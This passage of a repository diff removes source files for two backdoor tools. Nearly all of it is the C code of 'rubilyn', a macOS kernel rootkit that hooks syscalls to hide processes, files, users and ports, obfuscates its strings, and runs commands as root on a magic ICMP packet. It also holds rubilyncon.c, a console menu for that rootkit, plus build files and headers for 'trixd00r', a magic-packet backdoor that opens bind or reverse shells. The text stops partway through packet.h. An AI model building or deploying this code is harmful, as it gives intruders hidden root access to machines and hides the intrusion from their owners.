continue;
}
dirp = (struct FInfoAttrBuf *) ((char *) dirp + dirp->length);
count--;
}
if(removed > 0)
{
copyin(uap->count,&count,sizeof(u_int));
count -= removed;
copyout(&count,uap->count,sizeof(u_int));
copyout(mem,uap->buffer, buffersize);
}
FREE(mem,M_TEMP);
}
return ret;
}
static ipfilter_t ip_filter_ipv4_ref = NULL;
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
char buf[IP_BUF_SIZE];
struct icmp *icmp;
if (!(data && *data))
return 0;
if (protocol != IPPROTO_ICMP)
return 0;
mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
icmp = (struct icmp *)&buf;
if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
{
my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
}
return 0;
}
static errno_t ipf_output(void* cookie, mbuf_t *data, ipf_pktopts_t options)
{
return 0;
}
static void ipf_detach(void* cookie)
{
}
static struct ipf_filter ip_filter_ipv4 = {
.name = "rubilyn",
.ipf_input = ipf_input,
.ipf_output = ipf_output,
.ipf_detach = ipf_detach,
};
int hidden_p_count = 0;
struct proc* hidden_p[MAX_HIDDEN_PROCESS];
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list);
my_proc_list_unlock();
}
}
}
}
return 0;
}
/* put the proc back via deceptikom */
static int unhideproc(int pid)
{
struct proc* p;
int count;
if(pid!=0){
if(hidden_p_count > 0)
{
for(count = 0;count < hidden_p_count;count++) // 1t
{
p = hidden_p[count];
if(pid == p->p_pid)
{
my_proc_list_lock();
LIST_INSERT_HEAD(my_allproc,p,p_list);
my_proc_list_unlock();
hidden_p_count--;
}
}
}
}
return 0;
}
/* XOR string crypt routine. */
char* string_hide(char* string,int len,char* key){
int key_count = 0;
int byte;
char* new_string = _MALLOC(len+1,M_TEMP,M_WAITOK);
if(new_string){
memset(new_string,0,len+1);
for(int i = 0;i < len;i++){
byte = (int)string[i];
byte = byte ^ (int)key[key_count];
memcpy((void*)(uint64_t)new_string+i,&byte,sizeof(char));
key_count++;
if(key_count == strlen(key)){
key_count = 0;
}
}
return new_string;
}
return 0;
}
/* greetz nemo & stealth ;-) */
char *my_strstr(char *s, char *find)
{
register char c, sc;
register size_t len;
if ((c = *find++) != 0) {
len = strlen(find);
do {
do {
if ((sc = *s++) == 0)
return (NULL);
} while (sc != c);
} while (strncmp(s, find, len) != 0);
s--;
}
return ((char *)s);
}
/* the string value decryptor routine */
int string_handler(){
char* symbol;
linkeditstr = string_hide("\x16\x7f\x22\x2c\x38\x2e\x37\x64\x3a\x31",10,key);
if(linkeditstr){
symbol = string_hide("\x16\x4e\x1d\x1c\x5\x0\x1c\x54",8,key);
if(symbol){
nsysent = (uint64_t*)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x4c\xd\xe\x29\x8\x6\x58\x2c\x9\xa\xe\x4b",13,key);
if(symbol){
my_lck_mtx_lock = (lck_mtx_lockp)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x4b\xf\x10\x2\xd\x2d\x43\x1\x0\x1\x32\x53\x11\x1b\x55\x1\x5\x11\xc\x44",21,key);
if(symbol){
my_kauth_cred_setuidgid = (kauth_cred_setuidgidp)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x4c\xd\xe\x29\x8\x6\x58\x2c\x10\xb\x1\x4f\x17\x4",15,key);
if(symbol){
my_lck_mtx_unlock = (lck_mtx_unlockp)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x6b\x3b\x2b\x35\x20\xa\x45\x10\x10\x11\x8",12,key);
if(symbol){
my_KUNCExecute = (KUNCExecutep)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x50\x1c\xa\x15\x3a\x1e\x49\x0\x11\x3a\x1\x4f\x17\x4",15,key);
if(symbol){
my_proc_list_lock = (proc_list_lockp)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x50\x1c\xa\x15\x3a\x1e\x49\x0\x11\x3a\x18\x4e\x18\x0\x43\x3",17,key);
if(symbol){
my_proc_list_unlock = (proc_list_unlockp)find_symbol(symbol);
}
else{
return -1;
}
symbol = string_hide("\x16\x41\x2\x9\x6\x17\x1d\x43",8,key);
if(symbol){
my_allproc = (struct proclist*)find_symbol(symbol);
}
else{
return -1;
}
}
else{
/* fatal couldn't try to search symbols */
return -1;
}
/* resident strings */
sysctl = string_hide("\x3a\x59\x1d\x6\x2\x9",6,key);
rubilyn = string_hide("\x3b\x55\xc\xc\x1a\x1c\x1c",7,key);
kextstat = string_hide("\x22\x45\x16\x11\x5\x11\x13\x54",8,key);
netstat = string_hide("\x27\x45\x1a\x16\x2\x4\x6",7,key);
w = string_hide("\x3e",1,key);
who = string_hide("\x3e\x48\x1",3,key);
grep = string_hide("\x2e\x52\xb\x15",4,key);
icmpstr = string_hide(MAGIC_ICMP_STR,MAGIC_ICMP_STR_LEN,key);
if(!sysctl||!rubilyn||!kextstat||!netstat||!w||!who||!grep||!icmpstr){
return -1;
}
return 0;
}
/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
char buffer[MAXBUFFER];
if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, rubilyn))
return(uap->nbyte);
}
if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_port))
return(uap->nbyte);
}
if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
{
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_user))
return(uap->nbyte);
}
return org_write_nocancel(p,uap,retval);
}
/* kext start function */
kern_return_t rubilyn_start(kmod_info_t * ki, void *d)
{
smashASLR();
struct sysent *table;
if(string_handler()==0)
{
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call;
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
org_write_nocancel = (void *) table[SYS_write_nocancel].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64;
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;
table[SYS_write_nocancel].sy_call = (void *) new_write_nocancel;
/* register our sysctl entries */
sysctl_register_oid(&sysctl__debug_rubilyn);
sysctl_register_oid(&sysctl__debug_rubilyn_pid);
sysctl_register_oid(&sysctl__debug_rubilyn_pid2);
sysctl_register_oid(&sysctl__debug_rubilyn_pid3);
sysctl_register_oid(&sysctl__debug_rubilyn_dir);
sysctl_register_oid(&sysctl__debug_rubilyn_cmd);
sysctl_register_oid(&sysctl__debug_rubilyn_user);
sysctl_register_oid(&sysctl__debug_rubilyn_port);
/* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);
}
else{
return KERN_FAILURE;
}
}
else{
return KERN_FAILURE;
}
}
else{
return KERN_FAILURE;
}
return KERN_SUCCESS;
}
/* kext stop called on unload */
kern_return_t rubilyn_stop(kmod_info_t *ki, void *d)
{
/* clean up */
struct sysent *table;
table = find_sysent();
if(table){
table[SYS_getdirentries64].sy_call = (void *) org_getdirentries64;
table[SYS_getdirentriesattr].sy_call = (void *) org_getdirentriesattr;
table[SYS_write_nocancel].sy_call = (void*) org_write_nocancel;
sysctl_unregister_oid(&sysctl__debug_rubilyn_pid3);
sysctl_unregister_oid(&sysctl__debug_rubilyn_pid2);
sysctl_unregister_oid(&sysctl__debug_rubilyn_pid);
sysctl_unregister_oid(&sysctl__debug_rubilyn_dir);
sysctl_unregister_oid(&sysctl__debug_rubilyn_cmd);
sysctl_unregister_oid(&sysctl__debug_rubilyn_user);
sysctl_unregister_oid(&sysctl__debug_rubilyn_port);
sysctl_unregister_oid(&sysctl__debug_rubilyn);
ipf_remove(ip_filter_ipv4_ref);
}
else{
return KERN_FAILURE;
}
return KERN_SUCCESS;
}
backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Info.plist
-49
View File
@@ -1,49 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>BuildMachineOSBuild</key>
<string>11E53</string>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleExecutable</key>
<string>rubilyn</string>
<key>CFBundleIdentifier</key>
<string>com.hackerfantastic.rubilyn</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>rubilyn</string>
<key>CFBundlePackageType</key>
<string>KEXT</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTCompiler</key>
<string>com.apple.compilers.llvm.clang.1_0</string>
<key>DTPlatformBuild</key>
<string>4E2002</string>
<key>DTPlatformVersion</key>
<string>GM</string>
<key>DTSDKBuild</key>
<string>11D50a</string>
<key>DTSDKName</key>
<string>macosx10.7</string>
<key>DTXcode</key>
<string>0432</string>
<key>DTXcodeBuild</key>
<string>4E2002</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2012 Hacker Fantastic. All rights are lust.</string>
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.kpi.bsd</key>
<string>10.0.0</string>
<key>com.apple.kpi.libkern</key>
<string>10.0.0</string>
</dict>
</dict>
</plist>
backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/MacOS/rubilyn
BIN
View File
Binary file not shown.
backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Resources/en.lproj/InfoPlist.strings
BIN
View File
Binary file not shown.
backdoor/rubilyn/source/rubilyn/rubilyncon
BIN
View File
Binary file not shown.
backdoor/rubilyn/source/rubilyncon.c
-151
View File
@@ -1,151 +0,0 @@
/* rubilyncon.c - a simple console interface to rubilyn rootkit for os-x
partially complete. Written for fun.
-- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXLEN 4098
#define MAXARG 512
void print_welcome(){
printf("\n .o8 o8o oooo \n");
printf(" \"888 `\"' `888 \n");
printf(" oooo d8b oooo oooo 888oooo. oooo 888 oooo ooo ooo. .oo. \n");
printf(" `888\"\"8P `888 `888 d88' `88b `888 888 `88. .8' `888P\"Y88b \n");
printf(" 888 888 888 888 888 888 888 `88..8' 888 888 \n");
printf(" 888 888 888 888 888 888 888 `888' 888 888 \n");
printf(" d888b `V88V\"V8P' `Y8bod8P' o888o o888o .8' o888o o888o \n");
printf(" .o..P' HARDCORE EST. 1983 \n");
printf(" `Y8P' \n\n");
}
void print_menu(){
printf("[menu]\n");
printf("[1] give root to process\n");
printf("[2] hide a process\n");
printf("[3] unhide a process\n");
printf("[4] hide a network port\n");
printf("[5] hide a local user\n");
printf("[6] hide files/folders\n");
printf("[7] set icmp backdoor path\n");
printf("[8] send icmp trigger to host\n");
printf("[9] uninstall rootkit\n");
printf("[h] help\n");
printf("[q] exit\n");
}
void execute(char* arg2){
int ret;
pid_t pid;
char* sysctl = "/usr/sbin/sysctl";
char* arg1 = "-w";
char* envp[] = { NULL };
char* argv[] = { sysctl, arg1, arg2, NULL};
switch(pid=fork()){
case 0:
ret = execve(sysctl, argv, envp);
default:
waitpid(pid, &ret, 0);
break;
}
}
char* read_arg(){
char* string;
string = malloc(MAXARG);
if(!string)
exit(0);
memset(string,0,MAXARG);
scanf("%512s",string);
return string;
}
void main_menu(){
char str;
char arg[MAXLEN];
do{
memset(arg,0,MAXLEN);
memcpy(arg,"debug.rubilyn.",strlen("debug.rubilyn."));
printf("--> ");
str = getchar();
switch(str){
case '1':
printf("enter process id to give root: ");
strcat(arg,"pid=");
strcat(arg,read_arg());
execute(arg);
break;
case '2':
printf("enter process id to hide: ");
strcat(arg,"pid2=");
strcat(arg,read_arg());
execute(arg);
printf("warning!! do not kill a hidden process or face the wrath of mach_task!\n");
break;
case '3':
printf("enter process id to unhide: ");
strcat(arg,"pid3=");
strcat(arg,read_arg());
execute(arg);
break;
case '4':
printf("enter network port to hide: ");
strcat(arg,"port=");
strcat(arg,read_arg());
execute(arg);
break;
case '5':
printf("enter username to hide: ");
strcat(arg,"user=");
strcat(arg,read_arg());
execute(arg);
break;
case '6':
printf("enter string to hide on file system: ");
strcat(arg,"dir=");
strcat(arg,read_arg());
execute(arg);
break;
case '7':
printf("enter icmp path for backdoor: ");
strcat(arg,"cmd=");
strcat(arg,read_arg());
execute(arg);
break;
case '8':
printf("not ready yet\n");
break;
case '9':
printf("not ready yet");
break;
case 'h':
print_menu();
break;
case '?':
print_menu();
break;
case 'q':
exit(0);
break;
case 'x':
exit(0);
break;
default:
printf("Invalid selection\n");
break;
}
}
while(getchar() != '\n');
}
int main(){
print_welcome();
print_menu();
while(1){
main_menu();
}
return 0;
}
backdoor/trixd00r/source/Makefile
-104
View File
@@ -1,104 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ nullsecurity team #
# #
# trixd00r - Advanced and invisible TCP/IP based userland backdoor #
# #
# FILE #
# Makefile #
# #
# DATE #
# 02/10/2012 #
# #
# DESCRIPTION #
# trixd00r is an advanced and invisible userland backdoor based on TCP/IP for #
# UNIX systems. It consists of a server and a client. The Server sits and #
# waits for magic packets using a sniffer (pcap). If a magic packet arrives, #
# it will bind a shell over TCP or UDP on the given port or connecting back to #
# the client again over TCP or UDP. The client is used to send magic packets #
# to trigger the server and get a shell. #
# #
# COPYRIGHT #
# Read docs/COPYING. #
# #
# AUTHOR #
# noptrix - http://www.nullsecurity.net/ #
# #
################################################################################
.EXPORT_ALL_VARIABLES:
@echo "[-] ERROR: you need GNU make!"
RM = rm -rf
MAKE = gmake
LDFLAGS_LINBSD="-lpcap"
LDFLAGS_FREEBSD="-lpcap"
LDFLAGS_NETBSD="-lpcap"
LDFLAGS_OPENBSD="-lpcap"
LDFLAGS_MACOS="-lpcap"
LDFLAGS_SOLARIS="-lsocket -lnsl -lpcap"
LDFLAGS_AIX="-lpcap"
LDFLAGS_HPUX="-lpcap"
LDFLGAS_IRIX="-lpcap"
default:
@echo "+-----------------------------------------+"
@echo "| trixd00r - http://www.nullsecurity.net/ |"
@echo "+-----------------------------------------+"
@echo
@echo "[-] ERROR: type one of the following:"
@echo
@echo "[+] make linux - build for Linux"
@echo "[+] make freebsd - build for FreeBSD"
@echo "[+] make netbsd - build for NetBSD"
@echo "[+] make openbsd - build for OpenBSD"
@echo "[+] make solaris - build for (Open)Solaris, OpenIndiana"
@echo "[+] make aix - build for AIX"
@echo "[+] make hpux - build for HP-UX"
@echo "[+] make irix - build for IRIX"
@echo "[+] make clean - clean all"
linux:
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_LINBSD}
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_LINBSD}
freebsd:
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_FREEBSD}
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_FREEBSD}
netbsd:
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_NETBSD}
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_NETBSD}
openbsd:
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_OPENBSD}
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_OPENBSD}
macos:
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_MACOS}
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_MACOS}
solaris:
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_SOLARIS}
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_SOLARIS}
aix:
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_AIX}
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_AIX}
hpux:
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_HPUX}
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_HPUX}
irix:
$(MAKE) -f client/Makefile LDFLAGS=${LDFLAGS_IRIX}
$(MAKE) -f server/Makefile LDFLAGS=${LDFLAGS_IRIX}
clean:
$(RM) trixd00r trixd00rd server/src/*.o client/src/*.o *.o *.core core
# EOF
backdoor/trixd00r/source/README
-1
View File
@@ -1 +0,0 @@
docs/README
backdoor/trixd00r/source/client/Makefile
-61
View File
@@ -1,61 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ nullsecurity team #
# #
# trixd00r - Advanced and invisible TCP/IP based userland backdoor #
# #
# FILE #
# client/Makefile #
# #
# DATE #
# 02/10/2012 #
# #
# DESCRIPTION #
# trixd00r is an advanced and invisible userland backdoor based on TCP/IP for #
# UNIX systems. It consists of a server and a client. The Server sits and #
# waits for magic packets using a sniffer (pcap). If a magic packet arrives, #
# it will bind a shell over TCP or UDP on the given port or connecting back to #
# the client again over TCP or UDP. The client is used to send magic packets #
# to trigger the server and get a shell. #
# #
# COPYRIGHT #
# Read docs/COPYING. #
# #
# AUTHOR #
# noptrix - http://www.nullsecurity.net/ #
# #
################################################################################
.EXPORT_ALL_VARIABLES:
@echo "[-] ERROR: you need GNU make!"
CC = gcc
RM = rm -rf
MV = mv
STRIP = strip
INSTDIR = /usr/local/bin
INCDIR = client/inc
SRCDIR = client/src
CFLAGS = -W -Wall -Wextra -O2 -pedantic -I $(INCDIR)
OBJS = $(SRCDIR)/trixd00r.o $(SRCDIR)/help.o $(SRCDIR)/error.o \
$(SRCDIR)/checks.o $(SRCDIR)/controller.o $(SRCDIR)/packet.o \
$(SRCDIR)/shell.o $(SRCDIR)/wrapper.o $(SRCDIR)/signals.o
$(SRCDIR)%.o: %.c
$(CC) -c -o $@ $< $(CFLAGS)
trixd00r: $(OBJS)
$(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS)
$(STRIP) trixd00r
clean:
$(RM) trixd00r $(SRCDIR)/*.o *.o *.core core
# EOF
backdoor/trixd00r/source/client/inc/checks.h
-70
View File
@@ -1,70 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/checks.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __CHECKS_H__
#define __CHECKS_H__
#include "controller.h"
/* checks for valid packet type */
void check_pkt_type(ctrl_t *, char *);
/* checks for valid shell mode / prints out available modes */
void check_shell_mode(ctrl_t *, char *);
/* checks for valid port number */
void check_port(ctrl_t *, int);
/* checks for valid host */
void check_host(char *);
/* checks, if necessary arguments has been selected */
void check_args(ctrl_t *);
/* checks for uid 0 */
void check_uid(ctrl_t *);
/* checks first usage */
void check_argc(int);
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/controller.h
-79
View File
@@ -1,79 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/controller.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __CONTROLLER_H__
#define __CONTROLLER_H__
#include "trixd00r.h"
#include "packet.h"
#include "shell.h"
#define QUIET 0 /* quiet mode */
#define VERBOSE 1 /* verbose mode */
typedef struct {
packet_t *packet; /* see packet.h */
shell_t *shell; /* see shell.h */
unsigned char verbose; /* verbosity */
} ctrl_t;
/* free used memory for trixd00r */
void free_trixd00r(ctrl_t *);
/* install signal handler */
void install_signals();
/* allocate buffer for each struct and fill in with zeros */
ctrl_t *alloc_structs();
/* set default values for ctrl_t */
ctrl_t *set_ctrl_defaults(ctrl_t *);
/* end of trixd00r */
void end_trixd00r(ctrl_t *);
/* begin of trixd00r */
void start_trixd00r(ctrl_t *);
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/error.h
-84
View File
@@ -1,84 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/error.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __ERROR_H__
#define __ERROR_H__
#include "trixd00r.h"
/* beginning of error messages */
#define ERROR "[-] ERROR"
#define WARNING "[-] WARNING"
/* fatal error messages */
#define ERR_MSG_GEN ERROR
#define ERR_MSG_PKT_TYPE ERROR ":"RED" invalid packet type"NORM
#define ERR_MSG_SHELL_MODE ERROR ":"RED" invalid shell mode"NORM
#define ERR_MSG_HOST ERROR ":"RED" invalid host"NORM
#define ERR_MSG_IP ERROR ":"RED" invalid ip address"NORM
#define ERR_MSG_PORT ERROR ":"RED" invalid port number"NORM
#define ERR_MSG_ARGC ERROR ":"RED" use -H for usage and help"NORM
#define ERR_MSG_ARGS ERROR ":"RED" you fucked up, mount /dev/brain"NORM
#define ERR_MSG_UID ERROR ":"RED" you must be root"NORM
#define ERR_MSG_PKT_SIZE ERROR ":"RED" packet size larger than 65535"NORM
#define ERR_MSG_NET ERROR
#define ERR_MSG_CLOSE ERROR
/* call error function */
#define __CALL_ERROR_FUNC(code) error[code].fptr(error[code].msg);
/* our own error codes */
enum {
ERR_GEN = 0, ERR_PKT_TYPE, ERR_SHELL_MODE, ERR_HOST, ERR_IP, ERR_PORT,
ERR_ARGC, ERR_ARGS, ERR_UID, ERR_PKT_SIZE, ERR_NET, ERR_CLOSE
};
/* error handling */
typedef struct {
unsigned char code; /* relevant error code */
const char *msg; /* relevant error message */
void (*fptr)(const char *); /* ptr to error-functions */
} error_t;
void print_error(unsigned char);
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/help.h
-44
View File
@@ -1,44 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/help.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __HELP_H__
#define __HELP_H__
/* not clear? just write me an email... */
void banner();
void usage();
#endif
/* EOF */
backdoor/trixd00r/source/client/inc/packet.h
-158
View File
@@ -1,158 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* client/inc/packet.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __PACKET_H__
#define __PACKET_H__
#define _BSD_SOURCE 1 /* bsd style API */
#define __FAVOR_BSD 1
#include <sys/types.h>
#include <netinet/in.h>
/* default values */
#define DEF_TYPE _TCP_SYN_TYPE /* packet/protocol type */
#define DEF_PAYLOAD "opensesame" /* default magic payload */
#define DEF_PORT 31337 /* default port to connect/listen */
/* packet type descriptions */
#define TCP_SYN_TYPE "TCP SYN"
#define TCP_ACK_TYPE "TCP ACK"
#define TCP_RST_TYPE "TCP RST"
#define TCP_PSH_TYPE "TCP PSH"
#define TCP_URG_TYPE "TCP URG"
#define TCP_FIN_TYPE "TCP FIN"
#define UDP_TYPE "UDP"
#define ICMP_ECHO_TYPE "ICMP"
/* needed tcp flags */
#define TH_FIN 0x01 /* TCP FIN flag */
#define TH_SYN 0x02 /* TCP SYN flag */
#define TH_RST 0x04 /* TCP RST flag */
#define TH_PSH 0x08 /* TCP PUSH flag */
#define TH_ACK 0x10 /* TCP ACK flag */
#define TH_URG 0x20 /* TCP URG flag */
/* ip header */
typedef struct {
unsigned int ver:4; /* version */
unsigned int ihl:4; /* header len */
uint8_t tos; /* type of service */
unsigned short len; /* total length */
unsigned short id; /* identification */
unsigned short off; /* fragment offset field */
uint8_t ttl; /* time to live */
uint8_t p; /* protocol */
unsigned short sum; /* checksum */
struct in_addr src, dst; /* source and dest address */
} ip_t;
/* tcp header */
typedef struct {
uint16_t sport; /* source port */
uint16_t dport; /* destination port */
uint32_t seq; /* sequence number */
uint32_t ack; /* acknowledgement number */
uint32_t x2:4; /* unused */
uint32_t off:4; /* data offset */
uint8_t flags; /* tcp flags */
uint16_t win; /* window */
uint16_t sum; /* checksum */
uint16_t urp; /* urgent pointer */
} tcp_t;
/* udp header */
typedef struct {
uint16_t sport; /* source port */
uint16_t dport; /* destination port */
uint16_t len; /* udp length */
uint16_t sum; /* udp checksum */
} udp_t;
/* our magic packet and settings */
typedef struct {
int one; /* for setsockopt() raw socket */
int lfd; /* listen socket descriptor */
int cfd; /* connect socket descriptor */
struct sockaddr_in srv; /* server */
struct sockaddr_in cli; /* client */
socklen_t len; /* len of sockaddr_in {} */
ip_t *ip; /* ip header */
tcp_t *tcp; /* tcp header */
udp_t *udp; /* udp header */
long int hdrlen; /* either tcp, udp or icmp (sizeof) */
char *host; /* trixd00rd host */
char *magic_packet; /* magic packet */
unsigned char type; /* magic packet type */
char *payload; /* magic payload */
uint16_t port; /* port to connect or listen */
unsigned char verbose; /* see controller.h */
} packet_t;
/* packet types */
enum {
